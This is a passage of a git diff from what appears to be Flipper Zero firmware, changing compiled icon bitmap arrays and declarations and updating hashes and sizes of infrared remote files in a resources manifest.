20,0x20,0xd7,0x30,0x8c,0x0f,0x08,0x05,0x10,0x68,0xa1,0x44,0x1a,0x98,0x08,0x14,0x11,0x28,0x21,0x91,0x1d,0x8f,0x83,0xfe,0x07,0x1b,0x00,0x34,0x61,0x00,0xd3,0x1d,0x8c,0x7a,0x01,0x7e,0x80,0x56,0x30,0x06,0xb1,0x4a,0x08,0xd4,0xbf,0xc1,0x31,0xc0,0x7f,0xe8,0xf0,0x08,0x3c,0x40,0x1a,0x80,0x04,0x5a,0x8c,0x10,0x80,0x40,0xd7,0x05,0x08,0x36,0xc0,0xe2,0x0d,0xb8,0x30,0x34,0x45,0x82,0x0d,0x72,0x49,0x03,0x5a,0x41,0x55,0xf8,0x7f,0xff,0xe8,0x72,0x06,0xae,0x03,0xf4,0x0c,0x1d,0xf8,0x18,0x60,0x40,0xd2,0x4b,0x9f,0xd0,0x1a,0x35,0x71,0x48,0xc0,0x95,0x42,0x0d,0x4d,0x50,0x70,0x75,0x40,0xd1,0x80,0x83,0x5a,0xa1,0x55,0x00,0x0c,0x05,0xa4,0x20,0xd2,}; -const uint8_t* const _I_iButtonDolphinSuccess_109x60[] = {_I_iButtonDolphinSuccess_109x60_0}; - const uint8_t _I_iButtonDolphinVerySuccess_108x52_0[] = {0x01,0x00,0xc2,0x01,0x00,0x0f,0xe2,0xfe,0x0d,0xb8,0x3e,0x02,0x06,0x0c,0x9f,0x00,0x08,0x61,0x80,0xd9,0x8c,0x00,0x86,0x60,0x0d,0x98,0x30,0x08,0x6a,0x00,0xd9,0x80,0x80,0x87,0x40,0x0c,0x8c,0x00,0x0c,0xa8,0x01,0x12,0x00,0x2d,0x00,0x22,0x70,0x20,0x6b,0xc8,0x02,0x26,0x62,0x88,0x80,0x6c,0xc9,0x24,0x0d,0x9a,0x07,0x17,0xfe,0x1d,0x68,0x40,0x6c,0xe7,0x48,0x04,0x28,0x10,0x34,0xe8,0x10,0xd1,0x11,0xc4,0x01,0xa5,0x04,0x06,0x96,0xa0,0xa6,0x24,0xc2,0x88,0x17,0x88,0x1a,0x7d,0x43,0x78,0x82,0x4a,0x40,0x03,0x20,0xb0,0xff,0x20,0x16,0xa3,0xb2,0x48,0x03,0xe4,0x0d,0x1f,0xfc,0x06,0x3a,0x0d,0x4a,0x00,0x34,0xf8,0x00,0xd1,0x37,0x0f,0x82,0x9e,0x95,0x58,0x17,0x83,0xff,0x81,0x1b,0x0f,0xf1,0xfe,0x71,0xe0,0x69,0x7c,0x3f,0xe0,0x82,0xff,0xcf,0xc0,0x85,0x61,0x80,0x43,0xb0,0x5f,0xa8,0x79,0xdc,0x81,0xa5,0x70,0xc0,0x68,0x3c,0x10,0x1a,0x17,0xd5,0x28,0x42,0xd1,0x8f,0x84,0x46,0x83,0xb0,0x8e,0x40,0x34,0x5f,0xa8,0x38,0x34,0x45,0xa2,0x0d,0x18,0x04,0x9b,0x50,0x03,0x1a,0x14,0x35,0x36,0x5f,0x8f,0xf8,0xb8,0xa4,0x19,0x40,0x18,0xe8,0xa0,0xca,0x22,0xfe,0x7f,0xc4,0x05,0x20,0xa5,0x80,0xc6,0x82,0xcb,0x3f,0xf3,0x44,0xfc,0x12,0x40,0x18,0xe8,0x51,0x82,0x52,0x28,0xfc,0x38,0x0a,0x3e,0x48,0x98,0x6c,0x8f,0x43,0x00,0xe0,0x63,0xe0,0x62,0xe2,0x91,0x90,0x0a,0x02,0x0d,0x2f,0x82,0x50,0x41,0xa3,0x80,0x90,0x41,0x04,0xc3,0x01,0xc0,0x83,0x46,0x71,0x30,0x06,0x95,0x82,0x21,0x02,0x6e,0x88,0x6c,0x43,0x83,0x1f,0x2f,0x88,0x34,0x62,0x00,0xd1,0x15,0x08,0x2c,0x60,0xcc,0x51,0x0f,0x08,0xcc,0x81,0xa2,0x12,0x10,0x68,0xc6,0x3f,0x06,0xc2,0x06,0x8e,0x02,0x16,0x41,0x20,0x10,0xf8,0x01,0x85,0x00,0x19,0x0d,0x82,0x18,0x07,0x20,0x81,0x00,0x0c,0x9c,0x31,0x08,0x42,0x74,0x81,0xab,0x80,0x03,0x0c,0x32,0x11,0x0b,0x06,0xb9,0xc0,0x43,0xa3,0x10,0x8b,0x83,0x5c,0xe0,0x20,0x81,0xc8,0x26,0x49,0x4c,0x40,0x02,0x86,0x0a,0xc5,0x22,0x32,0x50,0x6b,0x93,0x86,0xc0,0x0d,0x19,0x18,0x35,0x8c,0x84,0x79,0x1a,0x84,0x84,0x1a,0xdf,0xc2,0xe0,0x8a,0xc7,0x51,0x22,0x06,0xb5,0x5e,0x3f,0x00,0x77,0x0d,0x60,0x36,0xfa,0xa9,0xd7,0x00,0x08,0x3a,0xc9,0x02,0x48,0xc0,0x05,0x54,0xba,0x98,0x8a,0xa8,0xf1,0x20,0x6a,0x6a,0x3d,0x43,0x61,0x80,0x4a,0x81,0xaf,0x40,0xea,0x8d,0x86,0x01,0x56,0x06,0x93,0x60,0x80,0x05,0xea,0x01,0x94,0xac,0x1b,0x11,0x80,0x19,0x45,0x41,0x44,0x0d,0x58,0x33,0x18,0xa1,0x4f,0xf3,0x06,0x1f,0x01,0x76,0x58,0x00,0xd9,0x83,0x52,0x7c,0x11,0x38,0x51,0x40,0x80,}; const uint8_t* const _I_iButtonDolphinVerySuccess_108x52[] = {_I_iButtonDolphinVerySuccess_108x52_0}; @@ -769,16 +696,13 @@ const Icon I_DolphinFirstStart6_58x54 = {.width=58,.height=54,.frame_count=1,.fr const Icon I_DolphinFirstStart7_61x51 = {.width=61,.height=51,.frame_count=1,.frame_rate=0,.frames=_I_DolphinFirstStart7_61x51}; const Icon I_DolphinFirstStart8_56x51 = {.width=56,.height=51,.frame_count=1,.frame_rate=0,.frames=_I_DolphinFirstStart8_56x51}; const Icon I_DolphinOkay_41x43 = {.width=41,.height=43,.frame_count=1,.frame_rate=0,.frames=_I_DolphinOkay_41x43}; -const Icon I_Flipper_young_80x60 = {.width=80,.height=60,.frame_count=1,.frame_rate=0,.frames=_I_Flipper_young_80x60}; const Icon I_ArrowDownEmpty_14x15 = {.width=14,.height=15,.frame_count=1,.frame_rate=0,.frames=_I_ArrowDownEmpty_14x15}; const Icon I_ArrowDownFilled_14x15 = {.width=14,.height=15,.frame_count=1,.frame_rate=0,.frames=_I_ArrowDownFilled_14x15}; const Icon I_ArrowUpEmpty_14x15 = {.width=14,.height=15,.frame_count=1,.frame_rate=0,.frames=_I_ArrowUpEmpty_14x15}; const Icon I_ArrowUpFilled_14x15 = {.width=14,.height=15,.frame_count=1,.frame_rate=0,.frames=_I_ArrowUpFilled_14x15}; -const Icon I_Back_15x10 = {.width=15,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_Back_15x10}; const Icon I_DolphinReadingSuccess_59x63 = {.width=59,.height=63,.frame_count=1,.frame_rate=0,.frames=_I_DolphinReadingSuccess_59x63}; const Icon I_Down_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Down_25x27}; const Icon I_Down_hvr_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Down_hvr_25x27}; -const Icon I_Fill_marker_7x7 = {.width=7,.height=7,.frame_count=1,.frame_rate=0,.frames=_I_Fill_marker_7x7}; const Icon I_InfraredArrowDown_4x8 = {.width=8,.height=4,.frame_count=1,.frame_rate=0,.frames=_I_InfraredArrowDown_4x8}; const Icon I_InfraredArrowUp_4x8 = {.width=8,.height=4,.frame_count=1,.frame_rate=0,.frames=_I_InfraredArrowUp_4x8}; const Icon I_InfraredLearnShort_128x31 = {.width=128,.height=31,.frame_count=1,.frame_rate=0,.frames=_I_InfraredLearnShort_128x31}; @@ -795,7 +719,6 @@ const Icon I_Vol_down_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0 const Icon I_Vol_down_hvr_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Vol_down_hvr_25x27}; const Icon I_Vol_up_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Vol_up_25x27}; const Icon I_Vol_up_hvr_25x27 = {.width=25,.height=27,.frame_count=1,.frame_rate=0,.frames=_I_Vol_up_hvr_25x27}; -const Icon I_Back3_45x8 = {.width=45,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_Back3_45x8}; const Icon I_DoorLeft_70x55 = {.width=70,.height=55,.frame_count=1,.frame_rate=0,.frames=_I_DoorLeft_70x55}; const Icon I_DoorLocked_10x56 = {.width=10,.height=56,.frame_count=1,.frame_rate=0,.frames=_I_DoorLocked_10x56}; const Icon I_DoorRight_70x55 = {.width=70,.height=55,.frame_count=1,.frame_rate=0,.frames=_I_DoorRight_70x55}; @@ -809,13 +732,11 @@ const Icon I_KeySave_24x11 = {.width=24,.height=11,.frame_count=1,.frame_rate=0, const Icon A_125khz_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_125khz_14}; const Icon A_BadUsb_14 = {.width=14,.height=14,.frame_count=11,.frame_rate=3,.frames=_A_BadUsb_14}; const Icon A_Bluetooth_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Bluetooth_14}; -const Icon A_Clock_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_Clock_14}; const Icon A_Debug_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_Debug_14}; const Icon A_FileManager_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_FileManager_14}; const Icon A_GPIO_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_GPIO_14}; const Icon A_Games_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Games_14}; const Icon A_Infrared_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Infrared_14}; -const Icon A_MusicPlayer_14 = {.width=14,.height=14,.frame_count=5,.frame_rate=3,.frames=_A_MusicPlayer_14}; const Icon A_NFC_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_NFC_14}; const Icon A_Passport_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Passport_14}; const Icon A_Plugins_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Plugins_14}; @@ -824,7 +745,6 @@ const Icon A_Settings_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,. const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Sub1ghz_14}; const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; -const Icon A_UniversalRemote_14 = {.width=14,.height=14,.frame_count=30,.frame_rate=3,.frames=_A_UniversalRemote_14}; const Icon A_iButton_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; const Icon I_Detailed_chip_17x13 = {.width=17,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_Detailed_chip_17x13}; const Icon I_Medium_chip_22x21 = {.width=22,.height=21,.frame_count=1,.frame_rate=0,.frames=_I_Medium_chip_22x21}; @@ -862,7 +782,6 @@ const Icon I_RFIDBigChip_37x36 = {.width=37,.height=36,.frame_count=1,.frame_rat const Icon I_RFIDDolphinReceive_97x61 = {.width=97,.height=61,.frame_count=1,.frame_rate=0,.frames=_I_RFIDDolphinReceive_97x61}; const Icon I_RFIDDolphinSend_97x61 = {.width=97,.height=61,.frame_count=1,.frame_rate=0,.frames=_I_RFIDDolphinSend_97x61}; const Icon I_RFIDDolphinSuccess_108x57 = {.width=108,.height=57,.frame_count=1,.frame_rate=0,.frames=_I_RFIDDolphinSuccess_108x57}; -const Icon I_SDError_43x35 = {.width=43,.height=35,.frame_count=1,.frame_rate=0,.frames=_I_SDError_43x35}; const Icon I_SDQuestion_35x43 = {.width=35,.height=43,.frame_count=1,.frame_rate=0,.frames=_I_SDQuestion_35x43}; const Icon I_Cry_dolph_55x52 = {.width=55,.height=52,.frame_count=1,.frame_rate=0,.frames=_I_Cry_dolph_55x52}; const Icon I_Attention_5x8 = {.width=5,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_Attention_5x8}; @@ -879,7 +798,6 @@ const Icon I_PlaceholderL_11x13 = {.width=11,.height=13,.frame_count=1,.frame_ra const Icon I_PlaceholderR_30x13 = {.width=30,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_PlaceholderR_30x13}; const Icon I_SDcardFail_11x8 = {.width=11,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_SDcardFail_11x8}; const Icon I_SDcardMounted_11x8 = {.width=11,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_SDcardMounted_11x8}; -const Icon I_USBConnected_15x8 = {.width=15,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_USBConnected_15x8}; const Icon I_Lock_7x8 = {.width=7,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_Lock_7x8}; const Icon I_MHz_25x11 = {.width=25,.height=11,.frame_count=1,.frame_rate=0,.frames=_I_MHz_25x11}; const Icon I_Quest_7x8 = {.width=7,.height=8,.frame_count=1,.frame_rate=0,.frames=_I_Quest_7x8}; @@ -891,11 +809,9 @@ const Icon I_Connected_62x31 = {.width=62,.height=31,.frame_count=1,.frame_rate= const Icon I_Drive_112x35 = {.width=112,.height=35,.frame_count=1,.frame_rate=0,.frames=_I_Drive_112x35}; const Icon I_Error_62x31 = {.width=62,.height=31,.frame_count=1,.frame_rate=0,.frames=_I_Error_62x31}; const Icon I_Updating_32x40 = {.width=32,.height=40,.frame_count=1,.frame_rate=0,.frames=_I_Updating_32x40}; -const Icon I_DolphinExcited_64x63 = {.width=64,.height=63,.frame_count=1,.frame_rate=0,.frames=_I_DolphinExcited_64x63}; const Icon I_DolphinMafia_115x62 = {.width=115,.height=62,.frame_count=1,.frame_rate=0,.frames=_I_DolphinMafia_115x62}; const Icon I_DolphinNice_96x59 = {.width=96,.height=59,.frame_count=1,.frame_rate=0,.frames=_I_DolphinNice_96x59}; const Icon I_DolphinWait_61x59 = {.width=61,.height=59,.frame_count=1,.frame_rate=0,.frames=_I_DolphinWait_61x59}; -const Icon I_iButtonDolphinSuccess_109x60 = {.width=109,.height=60,.frame_count=1,.frame_rate=0,.frames=_I_iButtonDolphinSuccess_109x60}; const Icon I_iButtonDolphinVerySuccess_108x52 = {.width=108,.height=52,.frame_count=1,.frame_rate=0,.frames=_I_iButtonDolphinVerySuccess_108x52}; const Icon I_iButtonKey_49x44 = {.width=49,.height=44,.frame_count=1,.frame_rate=0,.frames=_I_iButtonKey_49x44}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 94de03f1b..64cd3d36d 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -55,16 +55,13 @@ extern const Icon I_DolphinFirstStart6_58x54; extern const Icon I_DolphinFirstStart7_61x51; extern const Icon I_DolphinFirstStart8_56x51; extern const Icon I_DolphinOkay_41x43; -extern const Icon I_Flipper_young_80x60; extern const Icon I_ArrowDownEmpty_14x15; extern const Icon I_ArrowDownFilled_14x15; extern const Icon I_ArrowUpEmpty_14x15; extern const Icon I_ArrowUpFilled_14x15; -extern const Icon I_Back_15x10; extern const Icon I_DolphinReadingSuccess_59x63; extern const Icon I_Down_25x27; extern const Icon I_Down_hvr_25x27; -extern const Icon I_Fill_marker_7x7; extern const Icon I_InfraredArrowDown_4x8; extern const Icon I_InfraredArrowUp_4x8; extern const Icon I_InfraredLearnShort_128x31; @@ -81,7 +78,6 @@ extern const Icon I_Vol_down_25x27; extern const Icon I_Vol_down_hvr_25x27; extern const Icon I_Vol_up_25x27; extern const Icon I_Vol_up_hvr_25x27; -extern const Icon I_Back3_45x8; extern const Icon I_DoorLeft_70x55; extern const Icon I_DoorLocked_10x56; extern const Icon I_DoorRight_70x55; @@ -95,13 +91,11 @@ extern const Icon I_KeySave_24x11; extern const Icon A_125khz_14; extern const Icon A_BadUsb_14; extern const Icon A_Bluetooth_14; -extern const Icon A_Clock_14; extern const Icon A_Debug_14; extern const Icon A_FileManager_14; extern const Icon A_GPIO_14; extern const Icon A_Games_14; extern const Icon A_Infrared_14; -extern const Icon A_MusicPlayer_14; extern const Icon A_NFC_14; extern const Icon A_Passport_14; extern const Icon A_Plugins_14; @@ -110,7 +104,6 @@ extern const Icon A_Settings_14; extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; extern const Icon A_U2F_14; -extern const Icon A_UniversalRemote_14; extern const Icon A_iButton_14; extern const Icon I_Detailed_chip_17x13; extern const Icon I_Medium_chip_22x21; @@ -148,7 +141,6 @@ extern const Icon I_RFIDBigChip_37x36; extern const Icon I_RFIDDolphinReceive_97x61; extern const Icon I_RFIDDolphinSend_97x61; extern const Icon I_RFIDDolphinSuccess_108x57; -extern const Icon I_SDError_43x35; extern const Icon I_SDQuestion_35x43; extern const Icon I_Cry_dolph_55x52; extern const Icon I_Attention_5x8; @@ -165,7 +157,6 @@ extern const Icon I_PlaceholderL_11x13; extern const Icon I_PlaceholderR_30x13; extern const Icon I_SDcardFail_11x8; extern const Icon I_SDcardMounted_11x8; -extern const Icon I_USBConnected_15x8; extern const Icon I_Lock_7x8; extern const Icon I_MHz_25x11; extern const Icon I_Quest_7x8; @@ -177,10 +168,8 @@ extern const Icon I_Connected_62x31; extern const Icon I_Drive_112x35; extern const Icon I_Error_62x31; extern const Icon I_Updating_32x40; -extern const Icon I_DolphinExcited_64x63; extern const Icon I_DolphinMafia_115x62; extern const Icon I_DolphinNice_96x59; extern const Icon I_DolphinWait_61x59; -extern const Icon I_iButtonDolphinSuccess_109x60; extern const Icon I_iButtonDolphinVerySuccess_108x52; extern const Icon I_iButtonKey_49x44; diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 41f4c598b..6712ff096 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1652827459 +T:1652982689 D:badusb D:dolphin D:infrared @@ -296,118 +296,118 @@ D:infrared/ACs/Lasko D:infrared/ACs/Vornado D:infrared/ACs/Whynter D:infrared/ACs/Zenith -F:a569d1b8095be49004a059d383ab7f6d:885:infrared/ACs/Koldfront_wac12001.ir -F:e4ff3f3ed3da86fde2e57aeafe0713c9:2040:infrared/ACs/Pelonis_PFS40D6ABB.ir -F:0adfb8c448a834ec7bb9e6cdfb1889ca:5726:infrared/ACs/Dreo/Dreo_Heater.ir -F:6e97ee0bb0f463b187505276b505ad16:2545:infrared/ACs/Dyson/Dyson_Air_Multiplier.ir -F:c5b07edc8da929f24ab88d79d1fd6db8:3278:infrared/ACs/Dyson/Dyson_HP09.ir -F:7992d17377ce2402e91cb43b46f08d72:399:infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir -F:865ca5afb89dd47d0765fb0859c5739d:3423:infrared/ACs/Homedics/Homedics_Humidifier.ir -F:3f24fa57b7df28a4354f6169dca0827b:309:infrared/ACs/JETTools/JETTools_AFS-1000B.ir -F:a569d1b8095be49004a059d383ab7f6d:885:infrared/ACs/Koldfront/Koldfront_WAC12001.ir -F:d9d44fa0e0f98ec81bbc83d9f9e8f21e:606:infrared/ACs/LG/LG_AC.ir -F:1f82a2532b660b0884c289d489505198:2521:infrared/ACs/Lasko/Lasko_Fan.ir -F:a3364044cf627cefb85171e8097d11fc:1182:infrared/ACs/Lasko/Lasko_Fan_Simple.ir -F:d6c0db421f6152ed0ca11a0d1c6b1e7f:9541:infrared/ACs/Lasko/Lasko_Heater.ir -F:399f539f2db1b478e49449807994dda0:3388:infrared/ACs/Vornado/Vornado.ir -F:d2d6e7887fc616c18226a93168a3db95:3338:infrared/ACs/Whynter/Whynter_AC.ir -F:20a6fac60eca822059961586e555fae7:706:infrared/ACs/Zenith/Zenith_AC.ir +F:8f830eef86aff7ef5fc12224223a3d1a:829:infrared/ACs/Koldfront_wac12001.ir +F:54e78d402bfdc9a590dfd9f37ffc57e6:2014:infrared/ACs/Pelonis_PFS40D6ABB.ir +F:c66a8721533e6df37512b24016fcad70:5682:infrared/ACs/Dreo/Dreo_Heater.ir +F:a52d81317dad059d698592f8159f6c5e:2495:infrared/ACs/Dyson/Dyson_Air_Multiplier.ir +F:546b22ba87086f4672ce1ffc3bb896c1:3266:infrared/ACs/Dyson/Dyson_HP09.ir +F:a9d9355e1a2d20467632bd4d6de9ff97:373:infrared/ACs/GoldenVantage/GoldenVantage_AF510_Fireplace.ir +F:3cfebe2c7c7ab44b938eb62d78233b59:3385:infrared/ACs/Homedics/Homedics_Humidifier.ir +F:8a10771a7803c76340c7268781480455:289:infrared/ACs/JETTools/JETTools_AFS-1000B.ir +F:8f830eef86aff7ef5fc12224223a3d1a:829:infrared/ACs/Koldfront/Koldfront_WAC12001.ir +F:c3936ed736cf45ed8ac21f6fe9582d52:568:infrared/ACs/LG/LG_AC.ir +F:e934cd395e02c197ca62174aa77549a2:2501:infrared/ACs/Lasko/Lasko_Fan.ir +F:16eee7bcae34149b377e460534e9b8ef:1162:infrared/ACs/Lasko/Lasko_Fan_Simple.ir +F:b72abf7ab1847b60bc5a013ac95df1a8:9503:infrared/ACs/Lasko/Lasko_Heater.ir +F:0bc0c173a29a92e3a453e188cb56c9e2:3368:infrared/ACs/Vornado/Vornado.ir +F:296c9f7edf7533f6ef5bca764a7d197c:3282:infrared/ACs/Whynter/Whynter_AC.ir +F:5636a7e6a0855bead9d06473f0af7899:662:infrared/ACs/Zenith/Zenith_AC.ir D:infrared/Audio Receivers/Onkyo D:infrared/Audio Receivers/Sony -F:dba8c5bbd96f2ba1fe5f2e17fc16a754:2360:infrared/Audio Receivers/Onkyo/Onkyo.ir -F:e7d7accd62c3eac2c75bec09960c50e1:4231:infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir -F:b161900861ddd997d61d155b5363c262:3201:infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir +F:a0ca92e2e0053cf1bcfd6f251c65f963:2208:infrared/Audio Receivers/Onkyo/Onkyo.ir +F:bef5df4e43d0d72bcb1bb7e8c5902cbe:3959:infrared/Audio Receivers/Onkyo/Onkyo_RC627S.ir +F:0db08de6575d9587cd73c13b490096ae:3001:infrared/Audio Receivers/Sony/Sony_MHC-GS300AV.ir D:infrared/Blu-Ray/LG D:infrared/Blu-Ray/Toshiba -F:a58ad2cd2a6777ca3051592de868da59:1789:infrared/Blu-Ray/LG/LG_BlueRay.ir -F:4ba8e5b09ba5020d6a95df585a40888a:4178:infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir +F:30d1ee9c37b37233696bbc2bfe5c257e:1679:infrared/Blu-Ray/LG/LG_BlueRay.ir +F:a238c8403958e187a77cfc1a5fcb4ea9:3906:infrared/Blu-Ray/Toshiba/Toshiba_SE-R0398.ir D:infrared/CCTV/BrandUnknown D:infrared/CCTV/MarshallElectronics -F:48527c78e0484c11f69194c0c16b8e70:1301:infrared/CCTV/BrandUnknown/Szxlcom_cams.ir -F:396b7ebc165ed8dea04121a77a52522d:1634:infrared/CCTV/MarshallElectronics/Marshall_CV610.ir +F:d62b96d048941d9b23222185086926d6:1221:infrared/CCTV/BrandUnknown/Szxlcom_cams.ir +F:321a33ac14716639364361b310a91706:1524:infrared/CCTV/MarshallElectronics/Marshall_CV610.ir D:infrared/Cable Boxes/Amino D:infrared/Cable Boxes/DIRECTV D:infrared/Cable Boxes/Telus -F:4ff17ea34d603b301c8b34de5bc07362:5038:infrared/Cable Boxes/Amino/Amino_Amigo.ir -F:3e55e0cb17622c4059dcfdcc4d002d16:11908:infrared/Cable Boxes/DIRECTV/DIRECTV.ir -F:4ef91e7e203dd7c0e86519ce479acc5d:11420:infrared/Cable Boxes/Telus/Telus_OptikTV.ir +F:b99ebb642148aa9232b4dc7f2acf98cd:4970:infrared/Cable Boxes/Amino/Amino_Amigo.ir +F:40f9d21e62424062263065c536304676:11762:infrared/Cable Boxes/DIRECTV/DIRECTV.ir +F:0e19bc6cc9adb08ecb373e1364b2dc3d:11239:infrared/Cable Boxes/Telus/Telus_OptikTV.ir D:infrared/Cameras/Sony -F:bdf8524f7811b495bd299cc030b4fa08:191:infrared/Cameras/Sony/Nikon.ir -F:31aa9db0c769e03410a6930bc865a6ff:319:infrared/Cameras/Sony/Sony.ir +F:b17eb21b5a532a8b6db9f77a12e27404:183:infrared/Cameras/Sony/Nikon.ir +F:7d1b51cde5b61d6656a6225d28c9e631:299:infrared/Cameras/Sony/Sony.ir D:infrared/Consoles/Microsoft -F:1ef115678a3482919540c7131fc38c9b:623:infrared/Consoles/Microsoft/Xbox.ir +F:219cc59cad3851e5e32dfe5d7feaca67:585:infrared/Consoles/Microsoft/Xbox.ir D:infrared/Converters/RME -F:ec00b8c093f791352038a23d5de695ca:34:infrared/Converters/ReadMe.md -F:99efe00c1f282f80507f65781b4a9c31:2083:infrared/Converters/RME/RME_ADI-2_DAC_FS.ir +F:fb6de9392a63014e078772dc3951f485:33:infrared/Converters/ReadMe.md +F:6fec70bd90a7837d04359cde3828ffc8:1949:infrared/Converters/RME/RME_ADI-2_DAC_FS.ir D:infrared/Head Units/GPX D:infrared/Head Units/Pioneer -F:20cd37afdca18abb0ea1094a21d693a1:625:infrared/Head Units/GPX/GPX_CDRadio.ir -F:024e5d16ce2a48fb71762e974b6e0401:14732:infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir +F:87c1c49b866d7b6d640f569c8b10918d:587:infrared/Head Units/GPX/GPX_CDRadio.ir +F:db40928c4503f49437a5c69973ff8183:14710:infrared/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir D:infrared/LED Lighting/Amazon D:infrared/LED Lighting/BrandUnknown D:infrared/LED Lighting/MonsterIlluminessence -F:13c52ad155935bc0aeeeee0fe0a0eb5e:2688:infrared/LED Lighting/mlambert_rope_light.ir -F:dfd66823d9d83ee1e94e4dfde7364e52:1895:infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir -F:d227ce9b86d37f679dfd537a70a3cf51:5436:infrared/LED Lighting/BrandUnknown/44_Button_LED.ir -F:22da5bf030abce34cd0c009f322e5617:6799:infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir -F:e726b3b0cd22bfe5c47953d718c78d7d:6768:infrared/LED Lighting/BrandUnknown/DMX_Light.ir -F:7d8a43f0ba5de376f4a9677b714b8f38:24251:infrared/LED Lighting/BrandUnknown/LEDStrip.ir -F:3e18ba52c2f88d40250fd5aec7d91af6:4064:infrared/LED Lighting/BrandUnknown/LED_44Key.ir -F:d13156345234eda9232bea13ab4cb4c1:17057:infrared/LED Lighting/BrandUnknown/Light_Strip.ir -F:22da5bf030abce34cd0c009f322e5617:6799:infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir -F:28b8db58bd3fd733676ebcb498e3c1f1:1991:infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir -F:6c7b0403bcee2c1cf2cb1e7c21938887:2285:infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir +F:96089dcc8ac71d31a5e26234f8eb08a4:2518:infrared/LED Lighting/mlambert_rope_light.ir +F:ccb554dcef987d1f6123aa9058ee1682:1791:infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir +F:212fddeac1eef7f5170ac9dfdad92300:5188:infrared/LED Lighting/BrandUnknown/44_Button_LED.ir +F:5ee539d8b91bd94757cfb81413417a0f:6695:infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir +F:4cb12e8e2e8ff4bdb81d3145e2a98e80:6670:infrared/LED Lighting/BrandUnknown/DMX_Light.ir +F:9505090a1bba17905139db7ab9845f2b:22713:infrared/LED Lighting/BrandUnknown/LEDStrip.ir +F:87e804c057bfa27346f7622fb7c77dff:3798:infrared/LED Lighting/BrandUnknown/LED_44Key.ir +F:84a071185013a3c529a55eb93b805642:16911:infrared/LED Lighting/BrandUnknown/Light_Strip.ir +F:5ee539d8b91bd94757cfb81413417a0f:6695:infrared/LED Lighting/BrandUnknown/Magic_Lighting_Remote.ir +F:981c0f0bdd9532df291f36d905312c7d:1857:infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir +F:3509afd89464a408c5e7aa8e8310723d:2139:infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir D:infrared/Miscellaneous/AMI D:infrared/Miscellaneous/Hasbro D:infrared/Miscellaneous/LG D:infrared/Miscellaneous/LaserX -F:b865e7861c45526b4191328f3875d42b:584:infrared/Miscellaneous/HDMI_Switch.ir -F:0fe52521c0216dbbdf6f78d1b0858907:46:infrared/Miscellaneous/ReadMe.md -F:12327e0e7bed3bf6c803a5f5afa9e894:515:infrared/Miscellaneous/AMI/AMI_Jukebox.ir +F:7729f722ce64f71693a7342e9a8e65f2:546:infrared/Miscellaneous/HDMI_Switch.ir +F:75322b841f4cccb99a49b2d15131e1c5:45:infrared/Miscellaneous/ReadMe.md +F:86ca4dfa685f0d03561463166e9705d1:483:infrared/Miscellaneous/AMI/AMI_Jukebox.ir D:infrared/Miscellaneous/Hasbro/Furby -F:766a6ab2957dae098ebce9308ae51d38:11332:infrared/Miscellaneous/Hasbro/Furby/Furby.ir -F:b72738383cdc42a19f696de523e723f9:1506:infrared/Miscellaneous/LG/LG.ir -F:1808aed6368fc3563ff48e68110e1b00:476:infrared/Miscellaneous/LaserX/LaserX_Tag.ir +F:cc48ad650ad64316dbbfdf92ccd07a7b:11246:infrared/Miscellaneous/Hasbro/Furby/Furby.ir +F:28b9aa80da529f601b00fcfe73747b1b:1408:infrared/Miscellaneous/LG/LG.ir 